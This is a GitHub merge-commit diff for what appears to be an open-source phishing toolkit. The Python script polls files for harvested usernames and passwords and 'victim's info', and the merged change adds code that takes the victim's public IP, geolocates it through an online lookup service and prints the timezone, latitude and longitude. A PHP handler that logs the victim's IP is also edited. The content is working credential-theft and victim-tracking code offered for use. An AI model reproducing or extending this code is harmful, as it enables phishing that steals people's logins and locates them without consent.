Merge pull request #39 from Micrafast/master

Added the victim's outer network IP to locate the latitude and longitude functions
This commit is contained in:
AnonUD4Y 2018-06-08 14:40:58 +05:30 committed by GitHub
commit 8037d01ae0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 16 additions and 3 deletions

View File

@ -9,9 +9,10 @@ from sys import stdout, exit
from os import system, path
from distutils.dir_util import copy_tree
import multiprocessing
from urllib import urlopen
from urllib import urlopen, quote, unquote
from platform import system as systemos, architecture
from wget import download
import re
RED, WHITE, CYAN, GREEN, END = '\033[91m', '\33[46m', '\033[36m', '\033[1;32m', '\033[0m'
@ -130,6 +131,7 @@ def waitCreds():
print " {0}[{1}*{0}]{1} Waiting for credentials & victim's info... \n".format(RED, END)
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
@ -140,17 +142,26 @@ def waitCreds():
print ' {0}***** HOPE YOU ARE ENJOYING. SO PLEASE MAKE IT MORE POPULAR *****{1}\n {0}{1}'.format(RED, END)
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
ip = re.match('victim public ip: (.*)', lines).group(1)
resp = unquote(urlopen('https://www.ipip.net/ip.html', 'ip=' + ip).read())
searchObj = re.search('时区:(.*?) (.*?) 该地区中心经纬度:(.*?), (.*?)<', resp) # This website is a Chinese website, and this sentence means "timezone: ..... longitude and latitude at this area's center: ......, ......"
timezone = searchObj.group(1)
longitude = searchObj.group(3)
latitude = searchObj.group(4)
print '======================================================================'.format(RED, END)
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
print ' {0}Timezone: %s Longitude: %s Latitude: %s{1} '.format(GREEN, END) % (timezone, longitude, latitude)
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
print '======================================================================'.format(RED, END)
creds.close()
'''
with open('Server/www/iplog.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
@ -160,6 +171,7 @@ def waitCreds():
print '======================================================================'.format(RED, END)
creds.close()
'''
def runPEnv():
system('clear')

View File

@ -134,6 +134,7 @@ def waitCreds():
print ' {0}***** HOPE YOU ARE ENJOYING. SO PLEASE MAKE IT MORE POPULAR *****{1}\n {0}{1}'.format(RED, END)
creds.close()
with open('ServerTermux/www/iplog.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
@ -141,7 +142,7 @@ def waitCreds():
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
system('rm -rf ServerTermux/www/iplog.txt && touch ServerTermux/www/iplog.txt')
print '================================================='.format(RED, END)
creds.close()
def runPEnv():

View File

@ -19,7 +19,7 @@ $fp = fopen($file, 'a');
fwrite($fp, $victim);
$fp = fopen($file, 'a');
//$fp = fopen($file, 'a');
fwrite($fp, $ipaddress);